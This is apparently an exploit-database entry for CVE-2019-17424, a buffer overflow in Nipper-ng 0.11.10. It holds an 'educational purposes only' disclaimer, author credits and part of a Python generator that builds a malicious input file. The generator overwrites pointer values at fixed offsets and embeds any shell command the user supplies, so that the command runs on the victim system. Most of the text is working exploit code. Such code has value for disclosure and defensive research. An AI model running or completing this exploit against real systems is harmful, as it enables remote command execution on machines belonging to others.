Exploits / Vulnerability Discovered : 2019-11-18 |
Type : remote |
Platform : linux
This exploit / vulnerability Nipperng 0.11.10 remote buffer overflow (poc) is for educational purposes only and if it is used you will do on your own risk!
"""
Exploit generator created by Guy Levin (@va_start - twitter.com/va_start)
Vulnerability found by Guy Levin (@va_start - twitter.com/va_start)
For a detailed writeup of CVE-2019-17424 and the exploit building process, read my blog post
https://blog.vastart.dev/2019/10/stack-overflow-cve-2019-17424.html
may need to run nipper-ng with enviroment variable LD_BIND_NOW=1 on ceratin systems
"""
# copy pointers
for target_value, target_offset in target_values_at_offsets.items():
target_value = pack_dword(target_value)
exploit[target_offset:target_offset+len(target_value)] = target_value
# copy payload
if len(shell_command) > MAX_SHELL_COMMAND_CHARS:
raise ValueError("shell command is too big")
shell_command = prepare_shell_command(shell_command)
if len(shell_command) > MAX_SHELL_COMMAND_CHARS:
raise ValueError("shell command is too big after replacing spaces")
# adding padding to end of shell command
for i, letter in enumerate(shell_command + "&&"):
exploit[OFFSET_FOR_SHELL_COMMAND+i] = ord(letter)
return exploit
def main():
if len(sys.argv) != 3:
print(f"usage: {sys.argv[0]} <shell command to execute> <output file>")
return 1
try:
payload = build_exploit(sys.argv[1])
except Exception as e:
print(f"error building exploit: {e}")
return 1